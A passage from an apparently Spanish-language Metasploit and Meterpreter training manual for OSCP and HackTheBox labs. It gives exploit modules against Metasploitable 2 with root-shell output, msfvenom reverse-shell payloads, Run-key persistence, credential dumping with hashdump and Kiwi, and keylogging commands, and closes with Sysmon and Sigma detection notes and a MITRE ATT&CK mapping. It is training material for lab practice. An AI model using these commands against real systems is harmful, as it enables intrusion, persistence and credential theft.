Limpiar la persistencia (etica del pentest)LIMPIEZA
Eliminar los mecanismos de persistencia al finalizar
# El modulo de persistencia genera un script de limpieza automaticamente # Ejecutar el script de limpieza generado: # Buscar en la salida del modulo: cleanup resource file stored at... # Manualmente, borrar Run key: meterpreter > run post/windows/manage/delete_key # O desde registry editor (reg.exe): meterpreter > shell C:\> reg delete 'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' /v NOMBRE /f # Borrar tarea programada: C:\> schtasks /delete /tn 'WindowsUpdate' /f # Borrar el ejecutable subido: C:\> del C:\Temp\payload.exe /f C:\> exit # Volver a Meterpreter
❓ Ejercicio prΓ‘ctico
Instala el mecanismo de persistencia via Run key en tu VM de laboratorio, reinicia la VM y verifica que Metasploit recibe una nueva sesiΓ³n automΓ‘ticamente. DespuΓ©s, lΓ­mpialo completamente.
πŸ’‘ Pista: post/windows/manage/persistence con STARTUP=REGISTRY --- Reiniciar VM --- Handler escuchando en el mismo puerto
Ver soluciΓ³n
use post/windows/manage/persistence --- set SESSION 1 --- set STARTUP REGISTRY --- run --- Reiniciar la VM objetivo --- Levantar handler: use exploit/multi/handler --- run --- Al arrancar Windows, el payload ejecuta y conecta automaticamente. Limpiar: ejecutar el script .rc de limpieza generado por el modulo.
πŸŽ“
Ejercicio 7 β€” Metasploit en CTF y HackTheBox
Flujo de trabajo optimizado y los 10 exploits mΓ‘s frecuentes en HTB/THM

Estrategias especΓ­ficas para usar Metasploit eficientemente en CTFs de HackTheBox y TryHackMe. Incluye flujo de trabajo optimizado y los exploits mΓ‘s frecuentes en estos entornos.

πŸ“ˆFLUJO DE TRABAJO CTF/HTB CON METASPLOIT
Flujo estandar para CTF con Metasploit
# 1. RECONOCIMIENTO: nmap -sCV -p- IP_OBJETIVO --open -oN nmap_full.txt # 2. BUSCAR EXPLOITS para los servicios encontrados: msf6 > search type:exploit name:SERVICIO msf6 > search cve:AΓ‘O SERVICIO msf6 > search platform:windows SERVICIO NOMBRE_CVE # 3. VER INFO del exploit antes de usar: msf6 > info exploit/windows/smb/EXPLOIT_NAME # Ver: descripcion, CVE, check si tiene funcion de verificacion # 4. CONFIGURAR Y VERIFICAR: msf6 > use exploit/windows/smb/EXPLOIT_NAME msf6 > set RHOSTS IP_HTB msf6 > set LHOST TUN0_IP # <- IP de tu interfaz VPN de HTB msf6 > check # Si el modulo lo soporta, verifica sin explotar # 5. EXPLOTAR: msf6 > run # 6. OBTENER FLAGS: meterpreter > search -f user.txt -d C:\ meterpreter > search -f root.txt -d C:\ meterpreter > cat 'C:\Users\Administrator\Desktop\root.txt'
Los 10 exploits mΓ‘s frecuentes en HTB y TryHackMe
# WINDOWS: # 1. EternalBlue (HTB: Blue, Legacy, Lame...) exploit/windows/smb/ms17_010_eternalblue # 2. MS08-067 (Windows XP, Server 2003 - HTB: Legacy) exploit/windows/smb/ms08_067_netapi # 3. BlueKeep RDP (CVE-2019-0708, Windows 7) exploit/windows/rdp/cve_2019_0708_bluekeep_rce # 4. PrintNightmare (CVE-2021-34527) exploit/windows/local/cve_2021_34527_printnightmare # LINUX: # 5. Shellshock (CVE-2014-6271, Apache CGI) exploit/multi/http/apache_mod_cgi_bash_env_exec # 6. Samba Usermap Script (Metasploitable 2) exploit/multi/samba/usermap_script # 7. vsftpd Backdoor (Metasploitable 2) exploit/unix/ftp/vsftpd_234_backdoor # WEB: # 8. Tomcat WAR Upload (Metasploitable 2) exploit/multi/http/tomcat_mgr_upload # 9. PHP CGI Argument Injection exploit/multi/http/php_cgi_arg_injection # 10. Drupalgeddon 2 (CVE-2018-7600) exploit/unix/webapp/drupal_drupalgeddon2
πŸ’‘ En HTB, recuerda usar como LHOST la IP de la interfaz tun0 (la VPN de HTB), no la IP de tu red local. Comprueba con ip a show tun0.
πŸ› 
Ejercicio 8 β€” AutomatizaciΓ³n con Resource Scripts
Automatizar Metasploit con .rc scripts: handlers, post-explotaciΓ³n y makerc

Los Resource Scripts (.rc) son secuencias de comandos de msfconsole que se ejecutan automΓ‘ticamente. Son ideales para automatizar configuraciones repetitivas, crear listeners persistentes o ejecutar mΓΊltiples mΓ³dulos en secuencia.

1
Crear y usar Resource ScriptsRESOURCE SCRIPTS
Crear un .rc para automatizar el handler
# Crear un script que levante automaticamente el handler: cat > handler.rc << 'EOF' use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.5 set LPORT 4444 set ExitOnSession false run -j EOF # Ejecutar el script al iniciar msfconsole: msfconsole -r handler.rc # O desde dentro de msfconsole: msf6 > resource handler.rc # Script mas completo para pentest: cat > pentest.rc << 'EOF' setg LHOST 192.168.56.5 setg LPORT 4444 db_nmap -sCV 192.168.56.20 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp run -j EOF
2
makerc: guardar el historial de comandosMAKERC
Guardar los comandos de la sesion actual como .rc
# Durante una sesion de msfconsole, guardar todo lo que has hecho: msf6 > makerc /tmp/mi_sesion.rc # Guarda todos los comandos ejecutados en la sesion actual # La proxima vez, reproducir exactamente la misma secuencia: msfconsole -r /tmp/mi_sesion.rc # Muy util para: # - Repetir un pentest en el mismo entorno # - Documentar exactamente lo que hiciste # - Compartir con otros analistas del equipo
3
AutoRunScript: ejecutar comandos al obtener sesiΓ³nAUTORUN
Automatizar acciones al conectarse una sesion
# AutoRunScript ejecuta comandos automaticamente cuando llega una sesion # Ejemplo: al obtener sesion, migrar proceso y volcar hashes msf6 > use exploit/multi/handler msf6 > set payload windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.5 msf6 > set LPORT 4444 msf6 > set AutoRunScript 'multi_console_command -rc /tmp/post_exploit.rc' # Contenido de post_exploit.rc: cat > /tmp/post_exploit.rc << 'EOF' getsystem hashdump run post/multi/recon/local_exploit_suggester screenshot EOF # Al conectarse cualquier sesion, se ejecutan automaticamente
❓ Ejercicio prΓ‘ctico
Crea un Resource Script que: (1) configure LHOST y LPORT globalmente, (2) levante un handler en background, y (3) use local_exploit_suggester en la sesiΓ³n 1 automΓ‘ticamente.
πŸ’‘ Pista: cat > script.rc con los comandos --- msfconsole -r script.rc
Ver soluciΓ³n
cat > auto_post.rc << EOF --- setg LHOST TU_IP --- setg LPORT 4444 --- use exploit/multi/handler --- set payload windows/x64/meterpreter/reverse_tcp --- set ExitOnSession false --- run -j --- use post/multi/recon/local_exploit_suggester --- set SESSION 1 --- run --- EOF --- msfconsole -r auto_post.rc
πŸ”΄
Ejercicio 9 β€” Caso PrΓ‘ctico: Metasploitable 2
Comprometer Metasploitable 2: vsftpd backdoor, Samba usermap y mΓ‘s

Metasploitable 2 es una VM Linux intencionalmente vulnerable creada por Rapid7 especΓ­ficamente para practicar Metasploit. Tiene docenas de servicios vulnerables configurados por defecto y es el laboratorio estΓ‘ndar para aprender pentesting. DescΓ‘rgala desde: https://sourceforge.net/projects/metasploitable/

πŸ”΄VULNERABILIDADES CLAVE DE METASPLOITABLE 2
ServicioPuertoVulnerabilidadMΓ³dulo Metasploit
vsftpd 2.3.421Backdoor en la versiΓ³n troyanizadaexploit/unix/ftp/vsftpd_234_backdoor
Samba 3.x139/445Usermap Script (ejecuciΓ³n arbitraria)exploit/multi/samba/usermap_script
Apache Tomcat8180Manager con credenciales por defectoexploit/multi/http/tomcat_mgr_upload
IRC UnrealIRCd6667Backdoor en la versiΓ³n troyanizadaexploit/unix/irc/unreal_ircd_3281_backdoor
PHP CGI80InyecciΓ³n de argumentos PHPexploit/multi/http/php_cgi_arg_injection
PostgreSQL5432Credenciales por defecto postgres:postgresauxiliary/scanner/postgres/postgres_login
Distcc3632EjecuciΓ³n remota de comandosexploit/unix/misc/distcc_exec
1
Reconocimiento completo de Metasploitable 2RECON
Escaneo con db_nmap para almacenar en la BD de Metasploit
# db_nmap guarda los resultados directamente en la base de datos de Metasploit: msf6 > db_nmap -sCV -p- 192.168.56.30 --open # Ver los hosts y servicios descubiertos: msf6 > hosts msf6 > services msf6 > services -p 21 # Solo el puerto 21 msf6 > services -S ftp # Solo servicios FTP # Buscar vulns para los servicios encontrados: msf6 > vulns
2
Explotar vsftpd BackdoorVSFTPD
Exploit vsftpd 2.3.4 backdoor
# El vsftpd 2.3.4 fue comprometido en 2011 # Si el usuario de login contiene ':)' se activa una backdoor en el puerto 6200 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 > set RHOSTS 192.168.56.30 msf6 > run # Salida: # [*] Banner: 220 (vsFTPd 2.3.4) # [*] USER: 331 Please specify the password. # [+] Backdoor service has been spawned, handling... # [+] UID: uid=0(root) gid=0(root) # id # uid=0(root) gid=0(root) groups=0(root) # whoami # root
3
Explotar Samba Usermap ScriptSAMBA
Exploit Samba 3.x usermap_script
# Samba 3.0.20-3.0.25rc3 tiene una vulnerabilidad en el manejo del username # Cuando Samba usa un script para mapear usuarios (/etc/samba/smb.conf) # es posible inyectar comandos en el nombre de usuario msf6 > use exploit/multi/samba/usermap_script msf6 > set RHOSTS 192.168.56.30 msf6 > set LHOST 192.168.56.5 msf6 > run # Salida: # [*] Started reverse TCP double handler on 192.168.56.5:4444 # [*] Accepted the first client connection... # [*] Command shell session 1 opened # id # uid=0(root) gid=0(root) # hostname # metasploitable
βœ…Β Con Metasploitable 2 puedes practicar mΓ‘s de 15 exploits distintos de Metasploit en un solo entorno de laboratorio.
πŸ“š
Referencia: Comandos de Meterpreter
Todos los comandos de Meterpreter mΓ‘s utilizados en pentesting
ComandoDescripciΓ³n
sysinfoInformaciΓ³n del sistema (OS, arquitectura, hostname)
getuidUsuario actual en el sistema objetivo
getpidPID del proceso de Meterpreter
psLista de procesos en ejecuciΓ³n
migrate PIDMigrar Meterpreter a otro proceso
getsystemIntentar escalada automΓ‘tica de privilegios a SYSTEM
hashdumpVolcar hashes NT de la SAM local (requiere SYSTEM/Admin)
load kiwiCargar la extensiΓ³n Kiwi (Mimikatz integrado)
creds_allVolcar todas las credenciales (tras load kiwi)
shellAbrir una shell cmd.exe interactiva
backgroundEnviar la sesiΓ³n al fondo (CTRL+Z tambiΓ©n)
sessions -lListar todas las sesiones activas (desde msfconsole)
sessions -i NConectar a la sesiΓ³n N
sessions -k NTerminar la sesiΓ³n N
ipconfigConfiguraciΓ³n de red del objetivo
routeTabla de rutas del objetivo
portfwd addCrear un port forward
download archivoDescargar un archivo del objetivo a Kali
upload archivo rutaSubir un archivo de Kali al objetivo
search -f patron -d rutaBuscar archivos por nombre
screenshotCaptura de pantalla del escritorio
keyscan_startIniciar el keylogger
keyscan_dumpVolcar las teclas capturadas por el keylogger
keyscan_stopDetener el keylogger
run MODULEEjecutar un mΓ³dulo post directamente
πŸ“š
Cheatsheet Completo de msfconsole
Referencia rΓ‘pida de todos los comandos de Metasploit y Meterpreter
Metasploit / Meterpreter Cheatsheet completo
# ── BUSQUEDA Y SELECCION DE MODULOS ───────────────── msf6 > search eternalblue msf6 > search type:exploit platform:windows smb msf6 > search cve:2017-0144 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > info # Info del modulo activo msf6 > show options # Ver y configurar opciones # ── CONFIGURACION ──────────────────────────────────── msf6 > set RHOSTS 192.168.56.20 msf6 > set LHOST 192.168.56.5 msf6 > set LPORT 4444 msf6 > setg LHOST 192.168.56.5 # Variable global msf6 > show payloads # Ver payloads compatibles msf6 > set payload windows/x64/meterpreter/reverse_tcp # ── EJECUCION ───────────────────────────────────────── msf6 > run # Ejecutar el modulo msf6 > check # Verificar sin explotar msf6 > run -j # Ejecutar en background # ── SESIONES ───────────────────────────────────────── msf6 > sessions -l # Listar sesiones msf6 > sessions -i 1 # Conectar sesion 1 msf6 > sessions -k 1 # Terminar sesion 1 msf6 > sessions -K # Terminar todas # ── MSFVENOM ───────────────────────────────────────── msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php msfvenom -l payloads | grep windows/x64 msfvenom -l formats # ── METERPRETER ────────────────────────────────────── meterpreter > sysinfo meterpreter > getuid meterpreter > getsystem meterpreter > hashdump meterpreter > load kiwi meterpreter > creds_all meterpreter > shell meterpreter > background meterpreter > ps meterpreter > migrate PID meterpreter > download archivo meterpreter > upload archivo ruta meterpreter > search -f *.txt -d C:\ meterpreter > portfwd add -l 13389 -p 3389 -r 10.10.10.100 meterpreter > run post/multi/recon/local_exploit_suggester meterpreter > run post/windows/gather/hashdump # ── POST MODULOS CLAVE ─────────────────────────────── post/multi/recon/local_exploit_suggester post/windows/gather/hashdump post/windows/gather/smart_hashdump post/windows/gather/enum_applications post/windows/manage/persistence post/multi/manage/autoroute # ── HANDLER RAPIDO ─────────────────────────────────── msf6 > use exploit/multi/handler msf6 > set payload windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.5 msf6 > set LPORT 4444 msf6 > set ExitOnSession false msf6 > run -j
πŸ›‘
DetecciΓ³n y Defensa contra Metasploit
CΓ³mo detectar Meterpreter, EternalBlue y tΓ©cnicas de post-explotaciΓ³n
πŸ›‘CΓ“MO DETECTAR METASPLOIT Y METERPRETER
TΓ©cnicaEvent IDs / IndicadoresQuΓ© buscar
Meterpreter en memoriaSysmon Event 1, 7DLL sin firma en memoria, reflective DLL load, proceso sin archivo en disco
EternalBlue SMBEvent 4625, 5145, Sysmon 1TrΓ‘fico SMB anormal, lsass creando procesos hijos
hashdump / KiwiEvent 4656, 4663, Sysmon 10Acceso a lsass.exe desde un proceso inesperado
getsystemEvent 4672, 4673Token de privilegio obtenido por un proceso inesperado
Persistencia Run keyEvent 4657, Sysmon 13ModificaciΓ³n de HKCU\...\Run con un nuevo valor
msfvenom EXESysmon Event 1Proceso creado desde %TEMP%, %APPDATA% o %DOWNLOADS%
Reverse TCPSysmon Event 3, firewallConexiΓ³n saliente en puerto no estandar, proceso sin firma
Deteccion de Meterpreter con Sysmon y Sigma
# Instalar Sysmon con la configuracion de SwiftOnSecurity: # https://github.com/SwiftOnSecurity/sysmon-config Sysmon64.exe -accepteula -i sysmonconfig.xml # Detectar acceso a lsass (Meterpreter hashdump / Kiwi): # Sysmon Event ID 10: ProcessAccess donde TargetImage = lsass.exe # Buscar en Event Viewer: # Windows Logs -> Sysmon/Operational -> EventID=10 # Filtro: TargetImage = C:\Windows\System32\lsass.exe # Detectar proceso en memoria sin archivo (Meterpreter): # Sysmon Event ID 7: ImageLoaded con firma invalida o ausente # Regla Sigma para deteccion de Meterpreter: # title: Meterpreter or Cobalt Strike Getsystem Service Installation # detection: # selection: # EventID: 7045 # ServiceName|contains: # - 'MSSE-' # - 'VNM-' # - 'rqkk' # - 'RDO-' # Herramienta de deteccion: Loki IOC Scanner # https://github.com/Neo23x0/Loki python3 loki.py -p C:\ --noindicator --csv
πŸ†
MITRE ATT&CK β€” Mapping de Metasploit
TΓ©cnicas MITRE ATT&CK cubiertas por Metasploit y Meterpreter
TΓ‘cticaTΓ©cnica MITREMΓ³dulo / Comando
Initial AccessT1190 Exploit Public-Facing Appexploit/windows/smb/ms17_010_eternalblue
ExecutionT1059.001 PowerShellmsfvenom -f psh, Meterpreter shell
ExecutionT1106 Native APIMeterpreter reflective DLL injection
PersistenceT1547.001 Registry Run Keyspost/windows/manage/persistence STARTUP=REGISTRY
PersistenceT1053.005 Scheduled Taskpost/windows/manage/persistence STARTUP=SCHEDULER
Privilege EscalationT1548.002 BypassUACexploit/windows/local/bypassuac_eventvwr
Privilege EscalationT1134 Token Impersonationgetsystem (Named Pipe Impersonation)
Defense EvasionT1055.001 DLL InjectionMeterpreter reflective DLL en memoria
Credential AccessT1003.001 LSASS Memoryload kiwi, creds_all, hashdump
Credential AccessT1003.002 SAM Dumphashdump, post/windows/gather/hashdump
DiscoveryT1083 File and Directory Discoverymeterpreter search, ls, pwd
Lateral MovementT1021.002 SMB/Admin Sharesexploit/windows/smb/*, Impacket desde Meterpreter
CollectionT1056.001 Keyloggingkeyscan_start, keyscan_dump
Command and ControlT1095 Non-App Layer ProtocolMeterpreter reverse_tcp (cifrado TLS)
Lateral MovementT1090 Proxyauxiliary/server/socks_proxy + autoroute
βœ“ CONCLUSIΓ“NHas completado el manual de Metasploit y Meterpreter en contexto OSCP/HTB. Conoces la arquitectura del framework (exploits, payloads, auxiliares, post), sabes generar payloads con msfvenom para cualquier plataforma, dominas los comandos de Meterpreter para post-explotaciΓ³n, escalada, pivoting y persistencia, y has practicado sobre Metasploitable 2 con los exploits mΓ‘s icΓ³nicos. Este es exactamente el nivel de conocimiento que requieren OSCP, eJPT y HackTheBox.
βœ“ Copiado